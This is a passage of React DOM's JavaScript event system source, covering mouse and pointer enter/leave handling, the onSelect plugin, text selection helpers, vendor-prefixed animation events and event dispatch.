  function extractEvents$2(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
    var isOverEvent = domEventName === 'mouseover' || domEventName === 'pointerover';
    var isOutEvent = domEventName === 'mouseout' || domEventName === 'pointerout';

    if (isOverEvent && !isReplayingEvent(nativeEvent)) {
      // If this is an over event with a target, we might have already dispatched
      // the event in the out event of the other target. If this is replayed,
      // then it's because we couldn't dispatch against this target previously
      // so we have to do it now instead.
      var related = nativeEvent.relatedTarget || nativeEvent.fromElement;

      if (related) {
        // If the related node is managed by React, we can assume that we have
        // already dispatched the corresponding events during its mouseout.
        if (getClosestInstanceFromNode(related) || isContainerMarkedAsRoot(related)) {
          return;
        }
      }
    }

    if (!isOutEvent && !isOverEvent) {
      // Must not be a mouse or pointer in or out - ignoring.
      return;
    }

    var win; // TODO: why is this nullable in the types but we read from it?

    if (nativeEventTarget.window === nativeEventTarget) {
      // `nativeEventTarget` is probably a window object.
      win = nativeEventTarget;
    } else {
      // TODO: Figure out why `ownerDocument` is sometimes undefined in IE8.
      var doc = nativeEventTarget.ownerDocument;

      if (doc) {
        win = doc.defaultView || doc.parentWindow;
      } else {
        win = window;
      }
    }

    var from;
    var to;

    if (isOutEvent) {
      var _related = nativeEvent.relatedTarget || nativeEvent.toElement;

      from = targetInst;
      to = _related ? getClosestInstanceFromNode(_related) : null;

      if (to !== null) {
        var nearestMounted = getNearestMountedFiber(to);

        if (to !== nearestMounted || to.tag !== HostComponent && to.tag !== HostText) {
          to = null;
        }
      }
    } else {
      // Moving to a node from outside the window.
      from = null;
      to = targetInst;
    }

    if (from === to) {
      // Nothing pertains to our managed components.
      return;
    }

    var SyntheticEventCtor = SyntheticMouseEvent;
    var leaveEventType = 'onMouseLeave';
    var enterEventType = 'onMouseEnter';
    var eventTypePrefix = 'mouse';

    if (domEventName === 'pointerout' || domEventName === 'pointerover') {
      SyntheticEventCtor = SyntheticPointerEvent;
      leaveEventType = 'onPointerLeave';
      enterEventType = 'onPointerEnter';
      eventTypePrefix = 'pointer';
    }

    var fromNode = from == null ? win : getNodeFromInstance(from);
    var toNode = to == null ? win : getNodeFromInstance(to);
    var leave = new SyntheticEventCtor(leaveEventType, eventTypePrefix + 'leave', from, nativeEvent, nativeEventTarget);
    leave.target = fromNode;
    leave.relatedTarget = toNode;
    var enter = null; // We should only process this nativeEvent if we are processing
    // the first ancestor. Next time, we will ignore the event.

    var nativeTargetInst = getClosestInstanceFromNode(nativeEventTarget);

    if (nativeTargetInst === targetInst) {
      var enterEvent = new SyntheticEventCtor(enterEventType, eventTypePrefix + 'enter', to, nativeEvent, nativeEventTarget);
      enterEvent.target = toNode;
      enterEvent.relatedTarget = fromNode;
      enter = enterEvent;
    }

    accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leave, enter, from, to);
  }

  /**
   * inlined Object.is polyfill to avoid requiring consumers ship their own
   * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is
   */
  function is(x, y) {
    return x === y && (x !== 0 || 1 / x === 1 / y) || x !== x && y !== y // eslint-disable-line no-self-compare
    ;
  }

  var objectIs = typeof Object.is === 'function' ? Object.is : is;

  /**
   * Performs equality by iterating through keys on an object and returning false
   * when any key has values which are not strictly equal between the arguments.
   * Returns true when the values of all keys are strictly equal.
   */

  function shallowEqual(objA, objB) {
    if (objectIs(objA, objB)) {
      return true;
    }

    if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {
      return false;
    }

    var keysA = Object.keys(objA);
    var keysB = Object.keys(objB);

    if (keysA.length !== keysB.length) {
      return false;
    } // Test for A's keys different from B.


    for (var i = 0; i < keysA.length; i++) {
      var currentKey = keysA[i];

      if (!hasOwnProperty.call(objB, currentKey) || !objectIs(objA[currentKey], objB[currentKey])) {
        return false;
      }
    }

    return true;
  }

  /**
   * Given any node return the first leaf node without children.
   *
   * @param {DOMElement|DOMTextNode} node
   * @return {DOMElement|DOMTextNode}
   */

  function getLeafNode(node) {
    while (node && node.firstChild) {
      node = node.firstChild;
    }

    return node;
  }
  /**
   * Get the next sibling within a container. This will walk up the
   * DOM if a node's siblings have been exhausted.
   *
   * @param {DOMElement|DOMTextNode} node
   * @return {?DOMElement|DOMTextNode}
   */


  function getSiblingNode(node) {
    while (node) {
      if (node.nextSibling) {
        return node.nextSibling;
      }

      node = node.parentNode;
    }
  }
  /**
   * Get object describing the nodes which contain characters at offset.
   *
   * @param {DOMElement|DOMTextNode} root
   * @param {number} offset
   * @return {?object}
   */


  function getNodeForCharacterOffset(root, offset) {
    var node = getLeafNode(root);
    var nodeStart = 0;
    var nodeEnd = 0;

    while (node) {
      if (node.nodeType === TEXT_NODE) {
        nodeEnd = nodeStart + node.textContent.length;

        if (nodeStart <= offset && nodeEnd >= offset) {
          return {
            node: node,
            offset: offset - nodeStart
          };
        }

        nodeStart = nodeEnd;
      }

      node = getLeafNode(getSiblingNode(node));
    }
  }

  /**
   * @param {DOMElement} outerNode
   * @return {?object}
   */

  function getOffsets(outerNode) {
    var ownerDocument = outerNode.ownerDocument;
    var win = ownerDocument && ownerDocument.defaultView || window;
    var selection = win.getSelection && win.getSelection();

    if (!selection || selection.rangeCount === 0) {
      return null;
    }

    var anchorNode = selection.anchorNode,
        anchorOffset = selection.anchorOffset,
        focusNode = selection.focusNode,
        focusOffset = selection.focusOffset; // In Firefox, anchorNode and focusNode can be "anonymous divs", e.g. the
    // up/down buttons on an <input type="number">. Anonymous divs do not seem to
    // expose properties, triggering a "Permission denied error" if any of its
    // properties are accessed. The only seemingly possible way to avoid erroring
    // is to access a property that typically works for non-anonymous divs and
    // catch any error that may otherwise arise. See
    // https://bugzilla.mozilla.org/show_bug.cgi?id=208427

    try {
      /* eslint-disable no-unused-expressions */
      anchorNode.nodeType;
      focusNode.nodeType;
      /* eslint-enable no-unused-expressions */
    } catch (e) {
      return null;
    }

    return getModernOffsetsFromPoints(outerNode, anchorNode, anchorOffset, focusNode, focusOffset);
  }
  /**
   * Returns {start, end} where `start` is the character/codepoint index of
   * (anchorNode, anchorOffset) within the textContent of `outerNode`, and
   * `end` is the index of (focusNode, focusOffset).
   *
   * Returns null if you pass in garbage input but we should probably just crash.
   *
   * Exported only for testing.
   */

  function getModernOffsetsFromPoints(outerNode, anchorNode, anchorOffset, focusNode, focusOffset) {
    var length = 0;
    var start = -1;
    var end = -1;
    var indexWithinAnchor = 0;
    var indexWithinFocus = 0;
    var node = outerNode;
    var parentNode = null;

    outer: while (true) {
      var next = null;

      while (true) {
        if (node === anchorNode && (anchorOffset === 0 || node.nodeType === TEXT_NODE)) {
          start = length + anchorOffset;
        }

        if (node === focusNode && (focusOffset === 0 || node.nodeType === TEXT_NODE)) {
          end = length + focusOffset;
        }

        if (node.nodeType === TEXT_NODE) {
          length += node.nodeValue.length;
        }

        if ((next = node.firstChild) === null) {
          break;
        } // Moving from `node` to its first child `next`.


        parentNode = node;
        node = next;
      }

      while (true) {
        if (node === outerNode) {
          // If `outerNode` has children, this is always the second time visiting
          // it. If it has no children, this is still the first loop, and the only
          // valid selection is anchorNode and focusNode both equal to this node
          // and both offsets 0, in which case we will have handled above.
          break outer;
        }

        if (parentNode === anchorNode && ++indexWithinAnchor === anchorOffset) {
          start = length;
        }

        if (parentNode === focusNode && ++indexWithinFocus === focusOffset) {
          end = length;
        }

        if ((next = node.nextSibling) !== null) {
          break;
        }

        node = parentNode;
        parentNode = node.parentNode;
      } // Moving from `node` to its next sibling `next`.


      node = next;
    }

    if (start === -1 || end === -1) {
      // This should never happen. (Would happen if the anchor/focus nodes aren't
      // actually inside the passed-in node.)
      return null;
    }

    return {
      start: start,
      end: end
    };
  }
  /**
   * In modern non-IE browsers, we can support both forward and backward
   * selections.
   *
   * Note: IE10+ supports the Selection object, but it does not support
   * the `extend` method, which means that even in modern IE, it's not possible
   * to programmatically create a backward selection. Thus, for all IE
   * versions, we use the old IE API to create our selections.
   *
   * @param {DOMElement|DOMTextNode} node
   * @param {object} offsets
   */

  function setOffsets(node, offsets) {
    var doc = node.ownerDocument || document;
    var win = doc && doc.defaultView || window; // Edge fails with "Object expected" in some scenarios.
    // (For instance: TinyMCE editor used in a list component that supports pasting to add more,
    // fails when pasting 100+ items)

    if (!win.getSelection) {
      return;
    }

    var selection = win.getSelection();
    var length = node.textContent.length;
    var start = Math.min(offsets.start, length);
    var end = offsets.end === undefined ? start : Math.min(offsets.end, length); // IE 11 uses modern selection, but doesn't support the extend method.
    // Flip backward selections, so we can set with a single range.

    if (!selection.extend && start > end) {
      var temp = end;
      end = start;
      start = temp;
    }

    var startMarker = getNodeForCharacterOffset(node, start);
    var endMarker = getNodeForCharacterOffset(node, end);

    if (startMarker && endMarker) {
      if (selection.rangeCount === 1 && selection.anchorNode === startMarker.node && selection.anchorOffset === startMarker.offset && selection.focusNode === endMarker.node && selection.focusOffset === endMarker.offset) {
        return;
      }

      var range = doc.createRange();
      range.setStart(startMarker.node, startMarker.offset);
      selection.removeAllRanges();

      if (start > end) {
        selection.addRange(range);
        selection.extend(endMarker.node, endMarker.offset);
      } else {
        range.setEnd(endMarker.node, endMarker.offset);
        selection.addRange(range);
      }
    }
  }

  function isTextNode(node) {
    return node && node.nodeType === TEXT_NODE;
  }

  function containsNode(outerNode, innerNode) {
    if (!outerNode || !innerNode) {
      return false;
    } else if (outerNode === innerNode) {
      return true;
    } else if (isTextNode(outerNode)) {
      return false;
    } else if (isTextNode(innerNode)) {
      return containsNode(outerNode, innerNode.parentNode);
    } else if ('contains' in outerNode) {
      return outerNode.contains(innerNode);
    } else if (outerNode.compareDocumentPosition) {
      return !!(outerNode.compareDocumentPosition(innerNode) & 16);
    } else {
      return false;
    }
  }

  function isInDocument(node) {
    return node && node.ownerDocument && containsNode(node.ownerDocument.documentElement, node);
  }

  function isSameOriginFrame(iframe) {
    try {
      // Accessing the contentDocument of a HTMLIframeElement can cause the browser
      // to throw, e.g. if it has a cross-origin src attribute.
      // Safari will show an error in the console when the access results in "Blocked a frame with origin". e.g:
      // iframe.contentDocument.defaultView;
      // A safety way is to access one of the cross origin properties: Window or Location
      // Which might result in "SecurityError" DOM Exception and it is compatible to Safari.
      // https://html.spec.whatwg.org/multipage/browsers.html#integration-with-idl
      return typeof iframe.contentWindow.location.href === 'string';
    } catch (err) {
      return false;
    }
  }

  function getActiveElementDeep() {
    var win = window;
    var element = getActiveElement();

    while (element instanceof win.HTMLIFrameElement) {
      if (isSameOriginFrame(element)) {
        win = element.contentWindow;
      } else {
        return element;
      }

      element = getActiveElement(win.document);
    }

    return element;
  }
  /**
   * @ReactInputSelection: React input selection module. Based on Selection.js,
   * but modified to be suitable for react and has a couple of bug fixes (doesn't
   * assume buttons have range selections allowed).
   * Input selection module for React.
   */

  /**
   * @hasSelectionCapabilities: we get the element types that support selection
   * from https://html.spec.whatwg.org/#do-not-apply, looking at `selectionStart`
   * and `selectionEnd` rows.
   */


  function hasSelectionCapabilities(elem) {
    var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();
    return nodeName && (nodeName === 'input' && (elem.type === 'text' || elem.type === 'search' || elem.type === 'tel' || elem.type === 'url' || elem.type === 'password') || nodeName === 'textarea' || elem.contentEditable === 'true');
  }
  function getSelectionInformation() {
    var focusedElem = getActiveElementDeep();
    return {
      focusedElem: focusedElem,
      selectionRange: hasSelectionCapabilities(focusedElem) ? getSelection(focusedElem) : null
    };
  }
  /**
   * @restoreSelection: If any selection information was potentially lost,
   * restore it. This is useful when performing operations that could remove dom
   * nodes and place them back in, resulting in focus being lost.
   */

  function restoreSelection(priorSelectionInformation) {
    var curFocusedElem = getActiveElementDeep();
    var priorFocusedElem = priorSelectionInformation.focusedElem;
    var priorSelectionRange = priorSelectionInformation.selectionRange;

    if (curFocusedElem !== priorFocusedElem && isInDocument(priorFocusedElem)) {
      if (priorSelectionRange !== null && hasSelectionCapabilities(priorFocusedElem)) {
        setSelection(priorFocusedElem, priorSelectionRange);
      } // Focusing a node can change the scroll position, which is undesirable


      var ancestors = [];
      var ancestor = priorFocusedElem;

      while (ancestor = ancestor.parentNode) {
        if (ancestor.nodeType === ELEMENT_NODE) {
          ancestors.push({
            element: ancestor,
            left: ancestor.scrollLeft,
            top: ancestor.scrollTop
          });
        }
      }

      if (typeof priorFocusedElem.focus === 'function') {
        priorFocusedElem.focus();
      }

      for (var i = 0; i < ancestors.length; i++) {
        var info = ancestors[i];
        info.element.scrollLeft = info.left;
        info.element.scrollTop = info.top;
      }
    }
  }
  /**
   * @getSelection: Gets the selection bounds of a focused textarea, input or
   * contentEditable node.
   * -@input: Look up selection bounds of this input
   * -@return {start: selectionStart, end: selectionEnd}
   */

  function getSelection(input) {
    var selection;

    if ('selectionStart' in input) {
      // Modern browser with input or textarea.
      selection = {
        start: input.selectionStart,
        end: input.selectionEnd
      };
    } else {
      // Content editable or old IE textarea.
      selection = getOffsets(input);
    }

    return selection || {
      start: 0,
      end: 0
    };
  }
  /**
   * @setSelection: Sets the selection bounds of a textarea or input and focuses
   * the input.
   * -@input     Set selection bounds of this input or textarea
   * -@offsets   Object of same form that is returned from get*
   */

  function setSelection(input, offsets) {
    var start = offsets.start;
    var end = offsets.end;

    if (end === undefined) {
      end = start;
    }

    if ('selectionStart' in input) {
      input.selectionStart = start;
      input.selectionEnd = Math.min(end, input.value.length);
    } else {
      setOffsets(input, offsets);
    }
  }

  var skipSelectionChangeEvent = canUseDOM && 'documentMode' in document && document.documentMode <= 11;

  function registerEvents$3() {
    registerTwoPhaseEvent('onSelect', ['focusout', 'contextmenu', 'dragend', 'focusin', 'keydown', 'keyup', 'mousedown', 'mouseup', 'selectionchange']);
  }

  var activeElement$1 = null;
  var activeElementInst$1 = null;
  var lastSelection = null;
  var mouseDown = false;
  /**
   * Get an object which is a unique representation of the current selection.
   *
   * The return value will not be consistent across nodes or browsers, but
   * two identical selections on the same node will return identical objects.
   */

  function getSelection$1(node) {
    if ('selectionStart' in node && hasSelectionCapabilities(node)) {
      return {
        start: node.selectionStart,
        end: node.selectionEnd
      };
    } else {
      var win = node.ownerDocument && node.ownerDocument.defaultView || window;
      var selection = win.getSelection();
      return {
        anchorNode: selection.anchorNode,
        anchorOffset: selection.anchorOffset,
        focusNode: selection.focusNode,
        focusOffset: selection.focusOffset
      };
    }
  }
  /**
   * Get document associated with the event target.
   */


  function getEventTargetDocument(eventTarget) {
    return eventTarget.window === eventTarget ? eventTarget.document : eventTarget.nodeType === DOCUMENT_NODE ? eventTarget : eventTarget.ownerDocument;
  }
  /**
   * Poll selection to see whether it's changed.
   *
   * @param {object} nativeEvent
   * @param {object} nativeEventTarget
   * @return {?SyntheticEvent}
   */


  function constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget) {
    // Ensure we have the right element, and that the user is not dragging a
    // selection (this matches native `select` event behavior). In HTML5, select
    // fires only on input and textarea thus if there's no focused element we
    // won't dispatch.
    var doc = getEventTargetDocument(nativeEventTarget);

    if (mouseDown || activeElement$1 == null || activeElement$1 !== getActiveElement(doc)) {
      return;
    } // Only fire when selection has actually changed.


    var currentSelection = getSelection$1(activeElement$1);

    if (!lastSelection || !shallowEqual(lastSelection, currentSelection)) {
      lastSelection = currentSelection;
      var listeners = accumulateTwoPhaseListeners(activeElementInst$1, 'onSelect');

      if (listeners.length > 0) {
        var event = new SyntheticEvent('onSelect', 'select', null, nativeEvent, nativeEventTarget);
        dispatchQueue.push({
          event: event,
          listeners: listeners
        });
        event.target = activeElement$1;
      }
    }
  }
  /**
   * This plugin creates an `onSelect` event that normalizes select events
   * across form elements.
   *
   * Supported elements are:
   * - input (see `isTextInputElement`)
   * - textarea
   * - contentEditable
   *
   * This differs from native browser implementations in the following ways:
   * - Fires on contentEditable fields as well as inputs.
   * - Fires for collapsed selection.
   * - Fires after user input.
   */


  function extractEvents$3(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
    var targetNode = targetInst ? getNodeFromInstance(targetInst) : window;

    switch (domEventName) {
      // Track the input node that has focus.
      case 'focusin':
        if (isTextInputElement(targetNode) || targetNode.contentEditable === 'true') {
          activeElement$1 = targetNode;
          activeElementInst$1 = targetInst;
          lastSelection = null;
        }

        break;

      case 'focusout':
        activeElement$1 = null;
        activeElementInst$1 = null;
        lastSelection = null;
        break;
      // Don't fire the event while the user is dragging. This matches the
      // semantics of the native select event.

      case 'mousedown':
        mouseDown = true;
        break;

      case 'contextmenu':
      case 'mouseup':
      case 'dragend':
        mouseDown = false;
        constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);
        break;
      // Chrome and IE fire non-standard event when selection is changed (and
      // sometimes when it hasn't). IE's event fires out of order with respect
      // to key and input events on deletion, so we discard it.
      //
      // Firefox doesn't support selectionchange, so check selection status
      // after each key entry. The selection changes after keydown and before
      // keyup, but we check on keydown as well in the case of holding down a
      // key, when multiple keydown events are fired but only one keyup is.
      // This is also our approach for IE handling, for the reason above.

      case 'selectionchange':
        if (skipSelectionChangeEvent) {
          break;
        }

      // falls through

      case 'keydown':
      case 'keyup':
        constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);
    }
  }

  /**
   * Generate a mapping of standard vendor prefixes using the defined style property and event name.
   *
   * @param {string} styleProp
   * @param {string} eventName
   * @returns {object}
   */

  function makePrefixMap(styleProp, eventName) {
    var prefixes = {};
    prefixes[styleProp.toLowerCase()] = eventName.toLowerCase();
    prefixes['Webkit' + styleProp] = 'webkit' + eventName;
    prefixes['Moz' + styleProp] = 'moz' + eventName;
    return prefixes;
  }
  /**
   * A list of event names to a configurable list of vendor prefixes.
   */


  var vendorPrefixes = {
    animationend: makePrefixMap('Animation', 'AnimationEnd'),
    animationiteration: makePrefixMap('Animation', 'AnimationIteration'),
    animationstart: makePrefixMap('Animation', 'AnimationStart'),
    transitionend: makePrefixMap('Transition', 'TransitionEnd')
  };
  /**
   * Event names that have already been detected and prefixed (if applicable).
   */

  var prefixedEventNames = {};
  /**
   * Element to check for prefixes on.
   */

  var style = {};
  /**
   * Bootstrap if a DOM exists.
   */

  if (canUseDOM) {
    style = document.createElement('div').style; // On some platforms, in particular some releases of Android 4.x,
    // the un-prefixed "animation" and "transition" properties are defined on the
    // style object but the events that fire will still be prefixed, so we need
    // to check if the un-prefixed events are usable, and if not remove them from the map.

    if (!('AnimationEvent' in window)) {
      delete vendorPrefixes.animationend.animation;
      delete vendorPrefixes.animationiteration.animation;
      delete vendorPrefixes.animationstart.animation;
    } // Same as above


    if (!('TransitionEvent' in window)) {
      delete vendorPrefixes.transitionend.transition;
    }
  }
  /**
   * Attempts to determine the correct vendor prefixed event name.
   *
   * @param {string} eventName
   * @returns {string}
   */


  function getVendorPrefixedEventName(eventName) {
    if (prefixedEventNames[eventName]) {
      return prefixedEventNames[eventName];
    } else if (!vendorPrefixes[eventName]) {
      return eventName;
    }

    var prefixMap = vendorPrefixes[eventName];

    for (var styleProp in prefixMap) {
      if (prefixMap.hasOwnProperty(styleProp) && styleProp in style) {
        return prefixedEventNames[eventName] = prefixMap[styleProp];
      }
    }

    return eventName;
  }

  var ANIMATION_END = getVendorPrefixedEventName('animationend');
  var ANIMATION_ITERATION = getVendorPrefixedEventName('animationiteration');
  var ANIMATION_START = getVendorPrefixedEventName('animationstart');
  var TRANSITION_END = getVendorPrefixedEventName('transitionend');

  var topLevelEventsToReactNames = new Map(); // NOTE: Capitalization is important in this list!
  //
  // E.g. it needs "pointerDown", not "pointerdown".
  // This is because we derive both React name ("onPointerDown")
  // and DOM name ("pointerdown") from the same list.
  //
  // Exceptions that don't match this convention are listed separately.
  //
  // prettier-ignore

  var simpleEventPluginEvents = ['abort', 'auxClick', 'cancel', 'canPlay', 'canPlayThrough', 'click', 'close', 'contextMenu', 'copy', 'cut', 'drag', 'dragEnd', 'dragEnter', 'dragExit', 'dragLeave', 'dragOver', 'dragStart', 'drop', 'durationChange', 'emptied', 'encrypted', 'ended', 'error', 'gotPointerCapture', 'input', 'invalid', 'keyDown', 'keyPress', 'keyUp', 'load', 'loadedData', 'loadedMetadata', 'loadStart', 'lostPointerCapture', 'mouseDown', 'mouseMove', 'mouseOut', 'mouseOver', 'mouseUp', 'paste', 'pause', 'play', 'playing', 'pointerCancel', 'pointerDown', 'pointerMove', 'pointerOut', 'pointerOver', 'pointerUp', 'progress', 'rateChange', 'reset', 'resize', 'seeked', 'seeking', 'stalled', 'submit', 'suspend', 'timeUpdate', 'touchCancel', 'touchEnd', 'touchStart', 'volumeChange', 'scroll', 'toggle', 'touchMove', 'waiting', 'wheel'];

  function registerSimpleEvent(domEventName, reactName) {
    topLevelEventsToReactNames.set(domEventName, reactName);
    registerTwoPhaseEvent(reactName, [domEventName]);
  }

  function registerSimpleEvents() {
    for (var i = 0; i < simpleEventPluginEvents.length; i++) {
      var eventName = simpleEventPluginEvents[i];
      var domEventName = eventName.toLowerCase();
      var capitalizedEvent = eventName[0].toUpperCase() + eventName.slice(1);
      registerSimpleEvent(domEventName, 'on' + capitalizedEvent);
    } // Special cases where event names don't match.


    registerSimpleEvent(ANIMATION_END, 'onAnimationEnd');
    registerSimpleEvent(ANIMATION_ITERATION, 'onAnimationIteration');
    registerSimpleEvent(ANIMATION_START, 'onAnimationStart');
    registerSimpleEvent('dblclick', 'onDoubleClick');
    registerSimpleEvent('focusin', 'onFocus');
    registerSimpleEvent('focusout', 'onBlur');
    registerSimpleEvent(TRANSITION_END, 'onTransitionEnd');
  }

  function extractEvents$4(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
    var reactName = topLevelEventsToReactNames.get(domEventName);

    if (reactName === undefined) {
      return;
    }

    var SyntheticEventCtor = SyntheticEvent;
    var reactEventType = domEventName;

    switch (domEventName) {
      case 'keypress':
        // Firefox creates a keypress event for function keys too. This removes
        // the unwanted keypress events. Enter is however both printable and
        // non-printable. One would expect Tab to be as well (but it isn't).
        if (getEventCharCode(nativeEvent) === 0) {
          return;
        }

      /* falls through */

      case 'keydown':
      case 'keyup':
        SyntheticEventCtor = SyntheticKeyboardEvent;
        break;

      case 'focusin':
        reactEventType = 'focus';
        SyntheticEventCtor = SyntheticFocusEvent;
        break;

      case 'focusout':
        reactEventType = 'blur';
        SyntheticEventCtor = SyntheticFocusEvent;
        break;

      case 'beforeblur':
      case 'afterblur':
        SyntheticEventCtor = SyntheticFocusEvent;
        break;

      case 'click':
        // Firefox creates a click event on right mouse clicks. This removes the
        // unwanted click events.
        if (nativeEvent.button === 2) {
          return;
        }

      /* falls through */

      case 'auxclick':
      case 'dblclick':
      case 'mousedown':
      case 'mousemove':
      case 'mouseup': // TODO: Disabled elements should not respond to mouse events

      /* falls through */

      case 'mouseout':
      case 'mouseover':
      case 'contextmenu':
        SyntheticEventCtor = SyntheticMouseEvent;
        break;

      case 'drag':
      case 'dragend':
      case 'dragenter':
      case 'dragexit':
      case 'dragleave':
      case 'dragover':
      case 'dragstart':
      case 'drop':
        SyntheticEventCtor = SyntheticDragEvent;
        break;

      case 'touchcancel':
      case 'touchend':
      case 'touchmove':
      case 'touchstart':
        SyntheticEventCtor = SyntheticTouchEvent;
        break;

      case ANIMATION_END:
      case ANIMATION_ITERATION:
      case ANIMATION_START:
        SyntheticEventCtor = SyntheticAnimationEvent;
        break;

      case TRANSITION_END:
        SyntheticEventCtor = SyntheticTransitionEvent;
        break;

      case 'scroll':
        SyntheticEventCtor = SyntheticUIEvent;
        break;

      case 'wheel':
        SyntheticEventCtor = SyntheticWheelEvent;
        break;

      case 'copy':
      case 'cut':
      case 'paste':
        SyntheticEventCtor = SyntheticClipboardEvent;
        break;

      case 'gotpointercapture':
      case 'lostpointercapture':
      case 'pointercancel':
      case 'pointerdown':
      case 'pointermove':
      case 'pointerout':
      case 'pointerover':
      case 'pointerup':
        SyntheticEventCtor = SyntheticPointerEvent;
        break;
    }

    var inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;

    {
      // Some events don't bubble in the browser.
      // In the past, React has always bubbled them, but this can be surprising.
      // We're going to try aligning closer to the browser behavior by not bubbling
      // them in React either. We'll start by not bubbling onScroll, and then expand.
      var accumulateTargetOnly = !inCapturePhase && // TODO: ideally, we'd eventually add all events from
      // nonDelegatedEvents list in DOMPluginEventSystem.
      // Then we can remove this special list.
      // This is a breaking change that can wait until React 18.
      domEventName === 'scroll';

      var _listeners = accumulateSinglePhaseListeners(targetInst, reactName, nativeEvent.type, inCapturePhase, accumulateTargetOnly);

      if (_listeners.length > 0) {
        // Intentionally create event lazily.
        var _event = new SyntheticEventCtor(reactName, reactEventType, null, nativeEvent, nativeEventTarget);

        dispatchQueue.push({
          event: _event,
          listeners: _listeners
        });
      }
    }
  }

  // TODO: remove top-level side effect.
  registerSimpleEvents();
  registerEvents$2();
  registerEvents$1();
  registerEvents$3();
  registerEvents();

  function extractEvents$5(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
    // TODO: we should remove the concept of a "SimpleEventPlugin".
    // This is the basic functionality of the event system. All
    // the other plugins are essentially polyfills. So the plugin
    // should probably be inlined somewhere and have its logic
    // be core the to event system. This would potentially allow
    // us to ship builds of React without the polyfilled plugins below.
    extractEvents$4(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags);
    var shouldProcessPolyfillPlugins = (eventSystemFlags & SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS) === 0; // We don't process these events unless we are in the
    // event's native "bubble" phase, which means that we're
    // not in the capture phase. That's because we emulate
    // the capture phase here still. This is a trade-off,
    // because in an ideal world we would not emulate and use
    // the phases properly, like we do with the SimpleEvent
    // plugin. However, the plugins below either expect
    // emulation (EnterLeave) or use state localized to that
    // plugin (BeforeInput, Change, Select). The state in
    // these modules complicates things, as you'll essentially
    // get the case where the capture phase event might change
    // state, only for the following bubble event to come in
    // later and not trigger anything as the state now
    // invalidates the heuristics of the event plugin. We
    // could alter all these plugins to work in such ways, but
    // that might cause other unknown side-effects that we
    // can't foresee right now.

    if (shouldProcessPolyfillPlugins) {
      extractEvents$2(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
      extractEvents$1(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
      extractEvents$3(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
      extractEvents(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
    }
  } // List of events that need to be individually attached to media elements.


  var mediaEventTypes = ['abort', 'canplay', 'canplaythrough', 'durationchange', 'emptied', 'encrypted', 'ended', 'error', 'loadeddata', 'loadedmetadata', 'loadstart', 'pause', 'play', 'playing', 'progress', 'ratechange', 'resize', 'seeked', 'seeking', 'stalled', 'suspend', 'timeupdate', 'volumechange', 'waiting']; // We should not delegate these events to the container, but rather
  // set them on the actual target element itself. This is primarily
  // because these events do not consistently bubble in the DOM.

  var nonDelegatedEvents = new Set(['cancel', 'close', 'invalid', 'load', 'scroll', 'toggle'].concat(mediaEventTypes));

  function executeDispatch(event, listener, currentTarget) {
    var type = event.type || 'unknown-event';
    event.currentTarget = currentTarget;
    invokeGuardedCallbackAndCatchFirstError(type, listener, undefined, event);
    event.currentTarget = null;
  }

  function processDispatchQueueItemsInOrder(event, dispatchListeners, inCapturePhase) {
    var previousInstance;

    if (inCapturePhase) {
      for (var i = dispatchListeners.length - 1; i >= 0; i--) {
        var _dispatchListeners$i = dispatchListeners[i],
            instance = _dispatchListeners$i.instance,
            currentTarget = _dispatchListeners$i.currentTarget,
            listener = _dispatchListeners$i.listener;

        if (instance !== previousInstance && event.isPropagationStopped()) {
          return;
        }

        executeDispatch(event, listener, currentTarget);
        previousInstance = instance;
      }
    } else {
      for (var _i = 0; _i < dispatchListeners.length; _i++) {
        var _dispatchListeners$_i = dispatchListeners[_i],
            _instance = _dispatchListeners$_i.instance,
            _currentTarget = _dispatchListeners$_i.currentTarget,
            _listener = _dispatchListeners$_i.listener;

        if (_instance !== previousInstance && event.isPropagationStopped()) {
          return;
        }

        executeDispatch(event, _listener, _currentTarget);
        previousInstance = _instance;
      }
    }
  }

  function processDispatchQueue(dispatchQueue, eventSystemFlags) {
    var inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;

    for (var i = 0; i < dispatchQueue.length; i++) {
      var _dispatchQueue$i = dispatchQueue[i],
          event = _dispatchQueue$i.event,
          listeners = _dispatchQueue$i.listeners;
      processDispatchQueueItemsInOrder(event, listeners, inCapturePhase); //  event system doesn't use pooling.
    } // This would be a good time to rethrow if any of the event handlers threw.


    rethrowCaughtError();
  }

  function dispatchEventsForPlugins(domEventName, eventSystemFlags, nativeEvent, targetInst, targetContainer) {
    var nativeEventTarget = getEventTarget(nativeEvent);
    var dispatchQueue = [];
    extractEvents$5(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags);
    processDispatchQueue(dispatchQueue, eventSystemFlags);
  }

  function listenToNonDelegatedEvent(domEventName, targetElement) {
    {
      if (!nonDelegatedEvents.has(domEventName)) {
        error('Did not expect a listenToNonDelegatedEvent() call for "%s". ' + 'This is a bug in React. Please file an issue.', domEventName);
      }
    }

    var isCapturePhaseListener = false;
    var listenerSet = getEventListenerSet(targetElement);
    var listenerSetKey = getListenerSetKey(domEventName, isCapturePhaseListener);

    if (!listenerSet.has(listenerSetKey)) {
      addTrappedEventListener(targetElement, domEventName, IS_NON_DELEGATED, isCapturePhaseListener);
      listenerSet.add(listenerSetKey);
    }
  }
  function listenToNativeEvent(domEventName, isCapturePhaseListener, target) {
    {
      if (nonDelegatedEvents.has(domEventName) && !isCapturePhaseListener) {
